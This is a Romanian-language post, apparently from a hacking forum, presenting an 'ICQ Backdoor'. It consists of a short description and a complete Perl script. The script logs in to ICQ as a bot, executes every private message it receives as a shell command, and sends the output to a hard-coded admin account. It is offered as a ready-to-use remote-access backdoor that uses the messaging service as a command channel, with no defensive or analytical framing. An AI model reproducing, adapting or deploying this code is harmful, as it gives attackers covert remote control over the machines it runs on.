ICQ Backdoor

[SlicK]

Un bot de ICQ care primeste si executa comenzi returnand rezultatul adminului..

Necesita modulul Net::OSCAR: http://search.cpan.org/~matthewg/Net-OSCAR-1.925/lib/Net/OSCAR.pm

Printscreen: http://rootb0x.com/icq.jpg

Versiune formatata si necomentata: http://rootb0x.com/icq.txt

#!/usr/bin/perl
##By SlicK [RSTZONE.NET]
use Net::OSCAR qw(:standard);

$user="12345678";  ## userul bot
$pass="xxxxxxxx";  ## parola
$admin="11111111"; ## userul adminului

sub prv  ## functia care se ocupa de mesajele private
{
  ($oscar,$sender,$message)=@_;
  open(CMD, "$message |"); @cmd=<CMD>; close(CMD); ## executa comanda
  $count=0;
  $buffer="";
  foreach $line(@cmd)
  {
    if($count==10)  ## pentru mesaje mai mari de 10 randuri
    {
      $oscar->send_im($admin,$buffer); ## trimite mesajul adminului(10 randuri)
      $buffer="";
      sleep(1); ## pauza intre mesaje
      $count=0;
    }
    $buffer.=$line;
    $count++;
  }
  $oscar->send_im($admin,$buffer); ## trimite mesajul adminului(sub 10 randuri)
}

$oscar=Net::OSCAR->new(); ## initializeaza variabila oscar
if($oscar)
{
  $oscar->set_callback_im_in(\&prv); ## seteaza functia care se ocupa cu mesajele private
  if($oscar->signon($user,$pass)) ## logare
  {
    while(1)
    {
      $oscar->do_one_loop(); ## diverse operatii(obligatoriu intr-un loop)
    }
  }
}